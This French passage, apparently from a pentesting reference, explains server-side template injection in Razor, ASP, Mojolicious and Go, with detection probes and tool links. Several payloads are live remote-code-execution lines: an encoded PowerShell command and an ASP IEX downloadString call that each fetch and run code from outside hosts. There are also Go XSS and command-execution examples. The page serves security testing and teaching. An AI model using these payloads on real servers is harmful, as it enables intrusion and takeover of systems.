  • @ <=Succès
  • @{} <= ERREUR !
  • @{ <= ERREUR !
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

La méthode System.Diagnostics.Process.Start de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple d'application web vulnérable sur https://github.com/cnotin/RazorVulnerableApp

Plus d'informations

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Rien
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Plus d'informations

Mojolicious (Perl)

Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= perl code %>
<% perl code %>

SSTI en GO

Pour confirmer que le moteur de template utilisé en backend est Go, vous pouvez utiliser ces charges utiles :

  • {{ . }} = structure de données passée en entrée au template
  • Si les données passées sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : {{ .Password }}
  • {{printf "%s" "ssti" }} = devrait afficher la chaîne ssti dans la réponse
  • {{html "ssti"}}, {{js "ssti"}} = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots suivants "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur ici.

Exploitation XSS

Si le serveur utilise le package text/template, l'exploitation XSS est très facile à réaliser en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec html/template car il encode en HTML la réponse : {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

Cependant, Go permet de DÉFINIR un template entier puis de l'appeler plus tard. La charge utile ressemblera à quelque chose comme :
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploitation RCE

La documentation pour le module html/template peut être trouvée ici, et la documentation pour le module text/template peut être trouvée ici, et oui, elles varient beaucoup. Par exemple, dans text/template, vous pouvez appeler directement n'importe quelle fonction publique avec la valeur “call”, ce qui n'est pas le cas avec html/template.

Si vous voulez trouver un RCE en Go via SSTI, vous devez savoir que comme vous pouvez accéder à l'objet donné au template avec {{ . }}, vous pouvez également appeler les méthodes de l'objet. Ainsi, imaginez que l'objet passé a une méthode appelée System qui exécute la commande donnée, vous pourriez en abuser avec : {{ .System "ls" }}
Par conséquent, vous aurez probablement besoin du code source. Un code source potentiel pour quelque chose comme cela ressemblerait à :

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Plus d'informations

Plus d'exploits

Consultez le reste de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Aide connexe

Si vous pensez que cela pourrait être utile, lisez :

Outils

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

Liste de détection de brute-force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Pratique & Références

RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir la connaissance technique, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :